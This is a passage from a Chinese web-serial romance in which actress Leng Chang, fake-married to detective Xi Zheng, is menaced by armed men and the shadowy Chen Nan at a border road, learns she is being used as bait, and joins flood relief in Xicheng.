一周后的决赛要前往海城，郗正于两日后便先回云城，冷嫦被迷得天天在琳达耳边夸自己选男人的水平好。
琳达白眼翻翻：“好是好，那你可知道他微博上的超话已经超过三万了，这可是素人里头一个火这么快，这么出圈的。”
冷嫦那该死的胜负欲突然不服：“那怎么了？还不够我的零头呢。”
“拜托，人家才几天？”琳达夺下冷嫦手里的冰糖拌苹果，“他火这么快，你就不怕被扒到结婚的事？”
冷嫦眸光泛出灿烂，笑容比AK还难压：“不会…”
心里恨不得明天就被爆出来结婚，冲着郗正那人品，要是真的爆出来肯定不会轻易离婚让她陷入困境。
正当冷嫦小算盘打得飞快，手机屏幕亮了亮。
冷嫦咬着勺子尖尖打开，一行她做梦都不敢想的字出现在眼前——
【后天爷爷生日，跟我回家一趟。】
19. 危险
“后面几天下雨，外场的戏要停一下。”琳达回来的时候正好带来这个好消息。
仿佛全世界都在给冷嫦打助攻。
她立刻抢上机票，美美给郗正回复了一句：【包艳压全场的。】
原以为郗正会无视她的臭美，然而还没等她退出聊天界面，郗正的消息又弹出：【动静越大越好。】
这就是郗正的计划，无法明说的目的，却需要冷嫦在社交圈让他们的关系足够瞩目。
郗家的圈子不同于冷嫦，这点冷嫦早就知道，郗正也好，殷璇也罢，都是世世代代富贵人家，不光是钱，手里握着的经济命脉和社会地位都不是冷嫦家里可以比的。
她之所以答应郗正的结婚请求，从来不是为了搞清楚他想利用她的原因，对她而言，双方各有所图，她不亏。
这几天天气反常，晴雨交织着雷鸣，让这落于山谷里的小寨子显得与世隔绝，冷嫦上车的时候回头看到潮气水雾里的小楼，真有种两个世界的错觉。
下了雨的山间冷气格外严重，车门才关上，玻璃窗上就糊了一层迷离白色，车身在摇晃颠簸里慢慢驶出，后面的休息寨子逐渐变小，直至消失不见冷嫦才靠着脑袋眯一会。
不知过了多久，雨势逐渐加大，豆大的雨滴声响极重，就和天上掉石子一般砸得冷嫦从睡梦里醒来。
再睁眼，周围仍是郁郁葱葱一片，倒是车速明显慢了下来。
冷嫦点开手机，显示时间过了一个小时，按理说早就该驶出山路才对。
琳达因为要留下来帮冷嫦核对镜头的缘故，这次没有和冷嫦一起回去，此刻车上只有她和司机二人。
或许是空调温度低了些，冷嫦打了个哆嗦：“师傅，温度调好点。”
她从包里拿出在集市买的那条烟粉色方巾把自己围上，扒着座位往窗外朝前看，发现深不见底的前路还在蜿蜒山脉里，便问道：“今天怎么开了很久还没有出山？”
司机将车内空调打高了两度，用带着本地口音的普通话叹气道：“突然的暴雨，这里山体有些滑落，到处是泥，不敢开得快。”
司机知道冷嫦要去赶飞机，怕她担心迟到，便又宽解了一句：“没事的，我们出发得早，不会错过航班的。”
闻言，冷嫦才有些安心地继续窝回座里。
司机虽然这么说，心里却还是没底，出山的环山路又长又窄，这雨又没有停的样子，若是雨势继续加大，怕是都要封路了。
他望向几米外的岔路口，箭头向前写着直行，箭头向右写着非内部车辆禁止通行。
司机抬手看了看表上的时间，黑目抖了抖，转手打了方向盘驶向禁止通行的路段。
他是本地人，对山路知悉，知道除了环山路之外有条内部路直通大道，不仅宽敞，路径也更快捷，只是当地人绝不会真的往这里走，他不知道缘由，也不敢坏了规矩。
若非今天的天气实在令人为难，否则他也不愿真的闯进来。
好在一路顺畅，没有飞石泥泞，也没有传闻里说得那么玄乎，什么擅闯后果自负之类的，司机开着开着便也松了口气，油门跟着踩下去，车速终于回到正常。
大概过了五六个坡之后，无人之径出现了好几排荆棘路障，一群穿着土黄色作战服的人纷纷站在路障前，拦住了车辆。
司机心下暗道：这下坏了，还真闯到私人管辖了？
瞧这些人的阵仗，像极了徘徊于边境两地的雇佣兵，司机吓得打开车窗，操着一口土话，试图拉近关系解释道。
冷嫦再怎么听不懂，也能听出来司机的语速急切，便关心地凑上前去：“怎么了？”
然而她刚出现在窗口，就见到两个黑洞往他们脸上贴，冷嫦脸色煞变，用力撑着扶手没让自己吓得跌倒。
——是枪。
不是军人，也不是警察，他们哪里来的枪？
司机已经吓得彻底丢魂，连滚带爬地在枪口的示意下抱头跪倒在地，倒是冷嫦还能强装镇定，只无辜地举着手，尽量表现出自己毫无敌意。
那群人叽里呱啦说了一通，越说越激动。
司机也是越说越崩溃，眼看着都快哭了。
冷嫦脸上还有妆，眼下早就被冰雨染成了水墨作坊，她根本不知道发生了什么，只觉危险近在眼前。
混乱的雨声夹杂着完全听不懂的语言，在片叶里流窜对峙，冷嫦脑袋涨的很，原本精致发丝变成海藻那般黏腻，她衣衫单薄，此刻被雨水浸湿的质地与她肌肤紧紧贴合，勾勒出引人遐想的曲线。
几个黑皮肤的雇佣兵见状毫不客气地拽住冷嫦的胳膊，冷嫦很害怕，可在这种时候只剩下反抗的本能，她不顾体型的差别大力扭动身躯，试图挣脱，一声声“不要！”“住手！”在陌生的山谷里绝望回荡，没人分得清她脸上的是眼泪还是雨水。
“STOP。”
磅礴雨势里，戏谑的声音犹如毒蛇。
冷嫦清晰地记得她被摁倒在地的前一秒，名叫陈南的男人居高临下地拨开了几个眼里猩红的雇佣兵，他充满笑意的眼睛里没有半分怜悯。
“冷小姐还真是喜欢在危险地带徘徊。”说着，他脱下西装外套将冷嫦暂时包住。
这些动作尽管看起来是帮助，可冷嫦能从对方的语气里听到掺杂的怒气。
“下次再乱闯的话，我就不能保证冷小姐你能否安全离开了。”
说罢，他踹了一脚雇佣兵，用看蚂蚁地眼神轻蔑道：“一群垃圾。”
那些深色皮肤的人显然听不懂，只做出摆手疑惑的表情，对到手的猎物又无可奈何的样子。
说完，陈南又垂眼凝向司机：“还不快滚？想死吗？”
司机吓得早就失语，求饶道谢都忘记说，连拖带拽地将冷嫦塞回车里，一路大雨倾斜，冷嫦呆坐在车上，完全没反应过来电光火石间的遭遇。
她第一次感受到了所谓边境线的危险，原来这个世界从来不是表面这么安宁。
那些拿枪的是谁？那是什么地方？陈南为什么在那里？如果陈南没出现她会被怎么样？
所有的问题在最后那一幕惊恐中划上句号。
司机哆哆嗦嗦道：“冷小姐…今天是我不好……我不该走这条路的……”
冷嫦脑中一片茫然的白色，像极了窗外天空的里的混沌，只喃喃道：“他们到底是谁？”
司机摇头：“我也、我也不知道，怕是灰色地带的人呐…谁都不敢管的那种。”
*
回到云城的冷嫦在琳达远程安排下直接走的vip通道，没有被任何粉丝撞到，身上的衣服在起飞前就已经换掉了。
可不知为什么，就算回到了熟悉的地方，穿上了新衣服，那种被人粗鲁触碰过的地方还是生出火辣辣的感觉。
冷嫦从起飞前就开始犹豫，是否要将这件事告诉郗正，转念一想，郗正是云城的警方，管不到远在天边的山丘辖区，再者他是刑警，性质上也不尽相同。
或许当面说，更合适吧。
冷嫦打算给郗正去个电话，让郗正早点去接她，然而手机界面刚亮起，一条境外陌生短信安静地躺在屏幕中央。
【如果我是你，我就不会告诉他，冷小姐，不，郗太太。】
是陈南？
他知道她与郗正的关系？
还没在圈子里公开，他怎么知道的？
越来越多的问号在她的世界里串成巨大的蜘蛛网，她有种被牢牢黏住却没办法抽身的错觉。
手机屏幕又亮了亮，还是境外号码。
【要让一个人从地图上消失，没有那么难。】
面对赤/裸/裸的威胁，冷嫦指尖
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发麻，理智让她立刻与警方联系，可深陷世家圈子的她也知晓一些不为人知的规则，灰色地带是真实存在的，不能一击扳倒的话几乎就是以卵击石。
在绝对的权贵面前，任何难以想象的事情都会发生。
何况陈家的地位，是无论花甲之年还是襁褓婴孩都会让开的存在，强大到无法撼动。
她不想郗正牵扯到这之中来，直觉告诉她，陈南已经不能用危险来形容。
或许等她脱离剧组，不再出现在西城，她与陈南就彻底没了瓜葛，没必要让郗正趟这趟浑水。
潜意识的想法驱使他关掉了还没拨出的电话，冷嫦重现整理好心情，化妆打扮，静静等待夜晚来临。
郗正很少回家里，这是冷嫦第一次看郗正打扮成高门子弟的模样，高定西服加身，剪裁勾勒接近完美，配合他硬挺的身板与肃正的五官，给人一种看上去难以接近的距离感。
没有记者蹲守的冷嫦在郗家司机的作引下利落上车，郗正跟着进去，坐在她边上。
冷嫦浅浅换了两口气，侧着脑袋抬头，带上自己招牌笑容：“怎么样？今天打扮够给你撑场面吧？”
从这个角度看过去，郗正的双手交拢，实际上他摆正了手踝处腕表的位置，绿宝石镶嵌在每一个指针前端，在星空顶下方会因为角度而带起微微荧光。
投射在他眼里的时候，又会慢慢隐去，一下一下的，像极了银河漫漫。
冷嫦支着脑袋枕在中央，压住白日荒诞的混乱，装作漫不经心地得意来：“爷爷一定会喜欢我~~”
郗正突然扭头，藏着点点星空的眼眸敛住一厢幽暗，声音却是冷了冷：“你有没有事瞒着我？”
冷嫦差点脱手，脑袋跟着一抖，幸好她戏够足，马上反问道：“这都被你发现了？我是偷偷给爷爷买了礼物没错。”
之前郗正曾告诉她，不需要准备礼物。
郗正视线微微聚拢，试图应证他的猜想，只是对上冷嫦毫不避让甚至带着些许骄傲的表情，就觉得或许是自己多心了。
那个地方，藏着太多的秘密，而一切又都实在巧合。
他叹了口气，再不提此事：“花了多少，我回头转你。”
冷嫦依旧笑嘻嘻：“夫妻之间谈什么转不转的。”
车身猛地一顿，再看司机慌张地回头为自己不小心踩到刹车的事道歉，看来是被冷嫦一番发言吓到了。
夫妻？
少爷和这位名声不太好的女明星小姐是夫妻？
司机的这点插曲和郗正爷爷的晚宴现场相比那就真是小场面了。
社交圈几乎人人都被二人已经扯证结婚的事惊得满场雅雀，先不说冷家在圈子里的地位不高，而郗家又是排得上的人物，家庭背景有些不相配，再是冷家这位也在圈内相了好几次亲都被“退货”，偏偏冷家这位在干警察前算得上各世家千金眼里的抢手货。
这两人怎么看，都是格格不入，完全不搭。
冷嫦被父母拎到一边被骂了个狗血淋头，郗正也没好到哪去，双方家长都对两人先斩后奏的事表达出极大的愤怒。
却又很默契地对名义上的女婿和媳妇表现出极大的善意。
冷嫦和郗正转换对策，郗正的父母由冷嫦去哄，冷嫦的父母由郗正去哄。
彼此都不嫌弃所谓的臭名昭著的女明星，亦或者高危风险的刑警，光这一点的话，两人又显得极为相配。
倒是一晚没怎么表态的郗正爷爷，得知两人还未同居后，表情有些凝重，一改和善的样子，严厉地看向郗正：
“你就是这么对人女孩子负责的？”
郗正刚要解释。
冷嫦快她一步，挽住了郗爷爷的手：“爷爷，是这样，我打算拍完西城的戏就搬到他那里。”
彻底堵住了郗正的推脱。
20. 真相
顺利的话，西城的拍摄还有一个月就能完成，剩下的需要回到云城的影视基地，完成一些绿幕内容和室内场景。
冷嫦双手缠在腰后，青葱玉指根根掰数着，距离他们的假结婚也只剩下八十天，去掉拍摄的三十天，也就是说只有五十天的同居。
也不知道能不能顺利在这五十天里搞定郗正。
晚宴临近结束的时候，郗正不擅长社交的属性显现无疑，借着冷嫦要早起回剧组的说法，便以送她回家为理由，两人先行离开了。
才刚钻进车里，琳达的电话就打了过来。
“怎么了琳达姐？”
“这里发生洪灾了，你——”琳达那里的信号极差，断断续续的几个字好不容易让冷嫦听懂了一下，可后面变成令人担忧的嘟嘟嘟。
冷嫦将电话回拨过去，再无法接通。
郗正猜出了动静，打开手机查看西城边防，果然红色预警横跳占据了网页置顶的位置。
【西城暴雨已造成多出山体滑坡和塌方，并发生河堤坍塌，多个苗寨发生洪灾，目前已经造成14人死亡，229人失踪。】
云城位处东部港湾，气候宜人，鲜少遇到天灾，冷嫦对这些内容表示非常陌生。
西城则全然相反，坐落在板块剧烈运动处，山体复杂气候多变，各种极端情况都会发生。
郗正见冷嫦陷入慌乱，只能安慰别紧张，国家灾害部门响应极快，救援会很快到达现场。
冷嫦的内心被各种丝线牵扯，她只当这次拍摄是事业上的转机，却在冥冥中感受到了危机缠绕，从踏上西城第一天的欣喜，到方才的失魂，她不敢相信天灾人祸会出现在自己的周围。
仿佛往日幸福的生活，瞬间成了泡沫，她像是个被童话包围的小公主，每日只知道在荧幕上较劲，而今看到了世界另一种模样。
残酷的，充满未知的…
而那个始终惯着她，宠着她的琳达，现在却生死不明…
面度郗正几番劝解，冷嫦双目都始终黯然无光，似乎思维已经脱离了本体，两个小手本能地在手上交握，晶莹的小水珠，就这么毫无预兆地落到了她的手背上。
这还是第一次见到冷嫦如此失魂落魄的模样，就算是被互联网骂到体无完肤，她也没有哭过。
郗正扣住领结中央，微弱光线里，只见他将领口松了几分，喉头在中间滚了滚，半晌后才开口对司机道：“调头，回我家。”
将如此无助的冷嫦孤零零地回到住处，他承认，于心不忍。
郗正垂落的目光移向窗外，枕在腿上的拳骨，紧紧绷着。
直到车子在陌生区域驶停，冷嫦才发现周围环境变了样。
这不是她所在的社区，这里是大楼停车层，冷嫦有些熟悉，回忆了几秒后想起来了，当时这片建筑群的幕墙就是她们家承包的。
这片社区也是和冷嫦所住地段最贵的一片，她弥散的思绪渐渐回笼，见到车门已经被司机打开，摸着真皮沙发的指尖才感到一丝不真实。
“你…带我回你家了？”
她看向郗正的时候，对方已经卸掉了领带和外套，和平日里的为人相同，郗正并没有亲昵的绅士举动，他是从另一头下车的，两人之间隔着几个身位。
郗正没有直接戳破冷嫦心底的慌乱，反倒拿爷爷的话来说：“既然下个月要搬过来，回剧组前就暂且住在这里熟悉一下。
末了，又跟了句：“你放心，这几天我可以住单位宿舍。”
“别。”冷嫦的挽留几乎是下意识的反应，撇开情情爱爱的私心，她现在需要有人陪在左右。
殷璇因为出国收购的缘故不在云城，眼下值得依赖的，只有郗正。
郗正没有嗯，也没有回答，向前的背影依旧。
作为爷爷派来的司机，在完成任务后也没有逗留，看不透的眼神扫了二人一瞬后便也老实离开。
郗正摁下电梯：“过来。”
冷嫦提着裙摆向他靠近，当了多年艺人的缘故，纵使心里藏了很多困扰心事，却还是知道要低着头挡着脸。
郗正发现后，向后退了一步，挡住了地下车库的顶灯。
“这片区对外发售后，爷爷将整栋都买下来了，不用担心，其他楼栋的住户不会来这里。”
冷嫦记得，作为云城天府的招牌，这里的大平层全都是单价破亿的存在，这一栋少说三十多层。
知道他家世可怖，却没想真是轻描淡写就拿了整栋楼的存在。
叮声之后，电梯门打开。
这一次郗正倒让出了身位，示意冷嫦先进去，冷嫦点头谢谢，看到郗正偏身的动作之后，目光似乎望向了远处。
她跟着问：“你在看什么？”
郗正神色自若：“没什么。”
冷嫦再望着方才眺望的方向看了一眼，看到司机的车尾灯还没彻底消失，只当是确认对方离开，便没也再多问。
电梯停在顶楼33处，也是这楼宇风光最好的位置，价格更是别层的好几倍。
郗正进了客套，将衣服往边上衣架上一晾，边上还有两件警服，然后走向座机，按下了通话键。
电话那头是一个甜妹的女声：
“您好，我是C栋管家，请问有什么需要。”
郗正解开衬衫扣子，回头看向冷嫦，对电话里的管家交代：“替我准备几套女士秋装，内衣外衣都需要，尺寸的话——”
他收口，目光落在冷嫦消瘦的颈间。
冷嫦瞧出了他眼里的疑问，比了个口型：诶斯。
郗正：“S码，先把洗漱用品备好，其余的明早送到C楼接待处，我自己会去拿。”
“好的郗先生，我这就去为您准备。”
挂了电话，郗正利落的动作没有任何拖泥带水，放下听筒的同时，腕间的袖口已经翻到了上臂处，冷嫦却没有继续用直勾勾的眼神饱览一番，视线黑压压地继续在她手机显示无法接通的画面上。
郗正重新走到她的身旁，几乎在电光火石间，抽到了她掌心的手机。
俯视的目光很重，却不如往日疏离，额前碎发只有在这种姿势下才会有几缕落下：“去洗澡先，东西一会就送到。”
说罢，他抬臂指向不
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远处的卧室走廊，冷嫦跟随郗正所向能看到虚掩着的门。
看到冷嫦还是木讷地坐在远处，郗正语调稍稍沉了沉：“别看手机了，去洗澡。”
冷嫦知道郗正想帮她转移注意力，可是一想到琳达生死不明她的心就被狠狠揪住：“要不是替我处理剧本，她不会留在那。”
就算不是因为这个，琳达作为经纪人一同与她进组，归根结底，出了事都与冷嫦脱不开关系。
郗正却打断了她的自责：“这是她的工作。”
明知是安慰的话，听起来却是那么不近人情，冷嫦荡着涟漪的心情泛出阵阵波澜，她咬着唇抬头看他，眼里噙着不甘和气愤。
郗正全然不顾她的态度，继续道：“没有任何一份工作可以保证绝对安全，何况这是天灾人祸，轮不到你来背这个责任。”
一番近乎于冷血的发言让冷嫦心头一颤，她想到郗正在墓园问她愿不愿意结婚的后话。
若说当时被激动冲昏了头，现在却在郗正毫无怜悯的眼神里感到一股窒息感，冷嫦掐着裙子，昂贵礼裙上留下道道这周，她用力昂头，一字一句问道：“那如果出事的是我呢？你也会这么说？”
回应她的是长达数秒的沉默，屋内米色光晕散漫偌大的空间，两人身影看似融在一起，彼此距离却伸手不可抵。
冷嫦晶莹的眼眸从不隐藏期待，她直白，热烈，在等一个可能性极低的答案。
长久的静谧之后，郗正用转身的动作回答了她：“如果不是因为那个案子，我们之间本不会有交集。”
霎时间，有颗骄傲的脑袋悄悄低了下去，如瀑长发披散在她若雪肌肤上，远远看去，像是星空悄悄碎在了湖泊里。
从知道杨晋就是杨老师儿子的那一刻开始，从知道杨老师就是造成他妹妹间接死因的那一刻，她就猜想过郗正之所以需要她，或许和十年前的往事有关。
然而这些话真正地从他口中透出来的时候，她还是免不了摇摇欲坠。
冷嫦：“为什么非得是我？只是假结婚引起社交圈关注的话，多得是大小姐可以选择。”
郗正的肩头一僵，冰冷的声音像是寒冬里的冰水，没有给她留下任何侥幸：
“只有你能引出杨晋背后的那些人。”
“你拿我钓鱼？”
郗正偏过那张过于周正的脸，刀削的五官此刻只剩下让人难以触碰的尖锐感，他没有任何迟疑地回答道：“是。”
不是因为她特别，不是因为她们之间曾相识。
仅仅是因为，她能引出那团存在于第三世界的灰色势力。
冷嫦整个人止不住地踉跄，勉强伸手扶住了沙发上缘，白天陈南的话似乎又来到了她的耳边。
陈南为什么知道她与郗正的结婚关系？又为什么说她总是爱做危险的事…
一下子什么都好像说得通了…
她不敢相信，自己竟然早掉入了这场黑白的较量。
她这才发现原本还郗正担心卷入西城黑幕的自己有多可笑…
而郗正依旧远远地站在那里，依旧像个陌生人那样背对着她。
21. 自我怀疑
冷嫦想过无数次的甜蜜同居，以一个无眠之夜开启。
她靠在床头，时不时刷新手机查看西城灾害的信息，偶尔抬头都能看到门缝底部漏出来的光，看来在客厅的郗正也好不到哪去，一宿都依着灯办案。
第二天一早，直到郗正过来敲门告诉冷嫦衣服已经取回来了，他先出门上班了，冷嫦在紧贴门边，确定郗正已经出门后才走出了房间。
因为昨晚哭过的缘故眼睛还有点红，她第一件事便是打开冰箱找冰块，再拿毛巾包着之后对眼眶处一顿冷敷，桌上有郗正留下来的早餐，一个盘子里摆着他说过喜欢的包子，另外几个盘子里摆着冷嫦上次去警局看他时带的同款精致早点。
她猜想，多半是喊管家准备的。
彻底摆正心态，面对假夫妻事实的冷嫦，竟然第一反应拿起肉包子往嘴里塞，好像是在质什么气。
没等咀嚼下肚，电梯玄关叮得打开，郗正身着制服的身影和看到冷嫦一手拿着冰敷怼脸，一手捏着半大的包子的模样，僵了片刻才拿起边矮柜的文件袋：“我忘了拿东西。”
他的表情罕见地不自然，像是在说无心抓到冷嫦如此不修边幅的模样。
冷嫦的表情和他几乎一致，嘴里的肉也不香了，没收拾形象已经够慵懒了，v领衬衫睡衣还因为刚起歪斜着，一头柔顺长发也因为碾转反侧的缘故炸毛突兀。
心底只剩尴尬的冷嫦，竟也忽视了彼此有种暧昧潮汐的气氛，直到郗正重新出门，她才恢复了吞咽的动作，不过这一回，显然要优雅得多。
甚至还刻意地翘起了兰花指，好像总是在不经意间还是希望能在郗正心里留下点好印象。
或许是为了避免两人相处时的不自然，郗正果然在差不多下班的时间来了消息，说是最近工作忙就先住公司了，让她有需要就去找管家就行，另外把父母那边的阿姨找来帮忙了，避免冷嫦住的不舒服。
抛开拿她钓鱼还这么理直气壮不近人情的话，郗正的做法已经属于好好男人的范畴，把握分寸有余，给足冷嫦空间，但偏偏冷嫦最不想要的就是这种距离之外的绅士之举。
郗家的反应速度很快，从昨晚司机那得到冷嫦搬到郗正家里开始，就着手安排两人的婚礼，似乎面对郗正铁树开花的行为早已迫不及待坐实，郗妈妈在给冷嫦去了第二通电话的时候，甚至已经聊到了在家坐月子还是去家族里的月子中心，把冷嫦都整沉默了。
又要应付家里长辈隔着电话的热情，心思却被西城牢牢拴住，等好不容易空下来的时候，早就过了午餐的时间。
远在北美的殷璇才起床，看到冷嫦的留言，来不及洗漱就拨了视频通话过去，于是两张疲惫的脸面对面，前者是因为在周旋收购的买卖，后者则被混乱的现状搞得无限疲惫。
“琳达姐还没能联系上？”
冷嫦揉着眉心嗯着回答：“说是救援队已经赶到了，最新消息传来说那边应该不是重灾区。”
殷璇安慰说：“那多半是信号受阻了，程导的赞助都是有钱的主，没道理真选到什么危险的地方去，演员们的安全还是有保证的。”
想来也是，西城地形缘故经常有些小灾害发生，程导选址自然深思熟虑，再回忆起周边有出山的道路，应该不至于真的被山洪吞没。
只是一想到那唯一的出山路，她立刻又联想到陈南那张写满阴谋的脸，忍不住打了个激灵，身体本能地做出聚拢环抱的姿势。
殷璇心细眼睛尖，瞅着冷嫦面色不对连忙问道：“还有什么担心的事？”
冷嫦玩着发尾，眼神若有似无地在窗边：“西城那边有很多不能明说的生意吧。”
“不然你以为今年国际刑警大赛为什么在那举办？借着比赛实地布点呢。”
冷嫦对殷璇的话深信不疑，她家除了实体产业还有安保公司，这方面的消息确实更可靠一些。
冷嫦：“你的意思，国家准备出手打击这一片势力了？”
殷璇不接触这块业务，只听了个大概：“局是挺大的，牵扯估计不少人，就算想政治估计也没这么简单。”
冷嫦没有回答，连首富陈家都牵扯在内，还是敢抛头露面的那种，估计暗处更是蛰伏了不少势力，陈南之所以这么嚣张，绝对不仅仅是家大业大这么简单。
“我劝你拍戏归拍戏，对那的事情别太较真，好好把这部戏拍完了，就赶紧离开西城那是非之地，多灾多难不说，势力错综复杂，谁去那都得折几两。”
冷嫦嘶了一口气，也不知是心中所想，还是早就耿耿于怀，蹦出来初次去西城时，飞机上那几张朴实的面孔，介绍他们的古文化，乡土风情，皮肤晒得黝黑矜矜业业，努力半辈子却连平和都难享，冷嫦失神道：“不公平。”
“什么不公平？”殷璇打了个哈欠，没当回事，反而调侃起冷嫦的婚事，“昨儿你跟郗正参加他爷爷寿宴的事在圈里传遍了，你们打算多久办婚礼？我可是看到我妈给我发消息，说你婆婆看上我家那法属小岛了，打算办个海岛婚礼？”
“我哪有那个闲心思顾这些，都是长辈们瞎操心罢了。”
殷璇点点头，确实在这个节骨眼，琳达姐的状况令人担忧，聊这些有些不合适了，于是又说道：“西南那一片，我小舅有点人脉，你放心，琳达姐的事我会找人多关照关照的。”
冷嫦对此也不再客气：“还有个事我想找你帮忙。”
“什么？”
“西城的航班停运了，不知何时恢复，你能不能想想办法把我弄过去？”
殷璇顿时就清醒了：“那边在闹洪灾啊我的姐？你疯了？你过去能干啥？”
“相比网上那些捐款讨个名的，我想做点有用的。”冷嫦扫了眼屏幕，家里那边的批复也获准了，“我家不是副营医药器械么，有些东西或许派得上用场。”
“那也不用特地过去一趟吧，洪灾之后很多疾病会爆发的，你还是少淌浑水。”
冷嫦却很坚持，她看向这偌大的空间，曾是她欢天喜地想搬来的地方，如今却讽刺得惹眼，前一晚才彻底摸清了自己在郗正心里的地位，再待下去，也无非是增加双方的困扰罢了。
殷璇拗不过她，只得答应说可以随医疗队一起前往，最早也要明天下午了。
*
当第二天郗正联系不上冷嫦的时候，他才从住家阿姨那边得知，医疗队的人下午将冷嫦接走了，目的地西城。
西城现状被肆虐的江河覆盖，漫山遍野的树木东倒西歪再无往日巍峨，山泥裹着草皮，就像是大水将所有生机统统冲刷干净，一地狰狞的黄色和浑浊的水土混合在一起，很难想象这会是盛世之下的场景。
一旦进入西城地界，信号就逐步丢失，冷嫦自然没能接到郗正打来的十多个电话。
随行的还有两名边城警官，冷嫦认出了其中一人就是之前刑警大赛中的选手，那人看到冷嫦很是客气也是惊喜。
“没想到还能再次见到你，冷小姐。”这名警员名叫元淳，很认真地讲真普通话，还是免不了带着些许口音。
蓝色制服让冷嫦觉得很亲切，令人在意的口音也因为彼此熟悉的脸庞而显得更值得信赖，冷嫦大方地伸出手：“你好啊元淳，上次走得匆忙，也没来得及好好聊一聊。”
元淳将冷嫦带去医护队的帐篷，这并非偏袒，冷嫦此行别着医疗团队小队长的袖章，带着任务来的，住在这里合情合理。
简易的帐篷内只有一个睡袋和一组折叠桌椅，却已经是灾区极好的东西，只是对于明星而言，似乎又实在简陋了一些，元淳正这么想着就将为难的目光看向冷嫦去。
没想到冷嫦背着小包就坐了进去，脚上的马丁靴沾了泥，她一点没在意，招牌笑容治愈又阳光…
在参加国际刑警大赛前，元淳作为边防的干
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警很少冲浪，对互联网上的什么明星不感兴趣，但是在冷嫦和许栀玫之后，他特地去网上搜了冷嫦的内容，知道她其实风评并不好，有了大赛力挺的事，又有亲自带着医疗队来危险之地的事实，他似乎很难再去相信网上的评价。
反而有点心疼眼前的小姑娘，胳膊上显然被虫子咬了好几个包，却拿着表格在那认认真真地比对，生怕错过每一样急救用品，黑色长睫毛卷翘精致，好似一个芭比娃娃坐在那里，白瓷一样的娃娃，精致又认真。
都说认真工作的男人最帅，同理，认真工作的女人也不例外，冷嫦将长发束拢成马尾模样，光从背影来看根本没有传闻里的娇气样，相反，像是散落在这里的小精灵，带去温和的希望。
冷嫦小小的身板，搬运的动作很麻利。
元淳见状也挽起袖子加入搬运工作，似乎是为了套近乎说道：“听说你和郗队都是云城人？”
冷嫦已经搬了三四箱口罩，额角有些汗珠沁出，她扶着腰站直擦了擦汗，对突然提到的郗队有些怔然，看到相似的制服和同样训练有度的身形，免不了视线跟着有些重叠。
“嗯。”
是啊，明明都在一个城市里，她却错过了郗正这么多年的时光，他们只见早已经过了见色起意和怦然心动的年纪，郗正的眼里早就只剩下肩上的责任。
元淳有些羡慕道：“不知道是不是云城的风水特别养人，郗队说他的太太也是特别好的一个人。”
哐当一声。
元淳抬头看到冷嫦把着桌面，手上原本的箱子滚到了地上，连带着印着器械号的口罩掉落在地。
元淳忙放下手中的东西去捡，还关心着一旁的冷嫦：“怎么了？是哪里不舒服吗？”
冷嫦连续眨了好几下眼睛，脸色不知为何突然涌上一片羞涩，她咽了咽怀疑的口吻，小声回问：“他、太太？”
元淳这才意识到说错话了：“啊不对…你就当我没说过。”
说完他狠狠拍了拍自己脑袋：“都怪嘴笨，我答应了郗队要保密的。”
他不算是轻佻的人，也不知怎么的，看到冷嫦和传闻里截然不同的表现之后，一下想到了郗正当时说的那些话，说他的太太很不容易，被很多人误解，但是他太太非常坚强，也很支持他的工作。
又想到郗队和冷嫦都是云城人，自然而然就将郗队太太和冷嫦当作一类人比较了。
“保密？”冷嫦很快找到了重点，“他让你保密？为什么？”
按她与郗正的约定，彼此婚姻只是为了在社交圈引起骚动，从而将圈子外的势力揪出来，郗正一再强调除了家人以外彼此婚姻关系不可以被别人知晓，怎么现在主动告诉了这个只和他有着比赛接触的边城警官？
见到冷嫦如此在意，元淳也似乎发现了异样：“你很在在意郗队的事？”
冷嫦条件反射地摇头，找了个借口：“他出过好几次大型公演维安工作，也算是朋友一场，没想到他年纪轻轻就结婚了，有点意外罢了。”
元淳还在懊恼自己多嘴的事情，并不打算和冷嫦继续详说下去：“郗队很负责，对工作也很尽职，对我们这些新干警也都很照顾，那天也是因为知道我相亲被拒，看到我十分不在状态，才说起他和他太太走到一起不容易的事，劝我别轻易放弃。”
这些话的信息量实在太少了，冷嫦实在辩不清话里到底有着郗正几分真心。
可至少有一个事实，那就是已婚的事实，并且作为唯一太太身份的冷嫦，真真切切地出现在了意外的话题中。
冷嫦重新搬起箱子，没有做美甲的指尖粉嫩可爱，眼下却因为用力微微泛出白色，就和她的表情一样，死去的初恋突然又窜出小火苗。
她的小虎牙紧紧抵着下唇，眼神不知何时又燃起灼热，令她毫无预兆地再度陷入挣扎：
……郗正啊郗正，你到底心里有没有有我。
22. 凶手是谁
水汽弥漫的天空，布满灰色的死寂。
水势骇人可怖，到处充斥着土腥气和草木捣烂成浆的味道。
冷嫦一直忙到快要天亮才将两集装箱多的医疗物资均分到几个受灾严重的控制点。
元淳每天往返于各个运送点，在核定数量之后带上头盔便要离开，根据最新情况，雨潮已经过去，对接下去的搜救工作会有帮助。
很多主要区域的通讯也已经恢复，剧组拍摄地处于深山，目前依旧处于断联状态。
元淳在昨天的交谈中知道了冷嫦很担心剧组的人，便主动联络自己当地的同事勘察这一片情况，得到了那片区域多为矿石山脉受土崩影响不大，冷嫦这才彻底放下心来。
“等我完成这批运送，我带你过去。”元淳承诺。
冷嫦道了声谢谢，目送装满物资的车辆从泥泞里缓缓驶出，天边薄雾已经散开，透出微弱晨光，一缕缕揉着水汽朦胧又虚幻，像极了冷嫦心底的情绪。
忙了一宿的小队队员也在看到车辆离开后一个个回到营帐里休息，冷嫦在几米外的临时用水站接了盆水，扑打在脸上的凉意悄悄蛰伏在她的毛孔里。
曙光的温暖和冷水的对垒，两股温度在她的皮肤上游走融合，随着每一次呼吸再轻轻消散，四季如春的地方，也在灾害后呈现出萧条来，冷嫦搓着掌心，像是为了肯定存在的意义，往中间哈了口气，一小团带着薄荷味道雾气拢住指甲尖尖，她稍一用力，握紧。
却是只能握住一片空白。
屏幕的白光穿破晦暗的峡谷，原本显示一条直线的信号格不知在什么时候恢复了一格，足够让错过的电话和信息连带着滑稽震动被打断再联起的动静滑进手机。
冷嫦低头看向屏幕，白光照出她的完整脸庞，甚至能看到细碎的绒毛。
她点开一条条消息，都是些关心她情况的，其中还包括了让她心神不宁的郗正。
在得到真正的答案面前，冷嫦再也不想轻举妄动，恋爱里先上头的人最容易失去主动权，她拍拍脸颊，压住迫不及待想回应郗正关心的动作。
【在哪？】
【你去西城了？】
【恢复联系第一时间给我回消息】
【别让我担心，好吗？】
四个时间段，四条彰显他不同心情的消息。
冷嫦在屏幕键盘上敲了又删，删了又敲，最终憋出几个看似冷漠的大字：【工作中，勿扰】
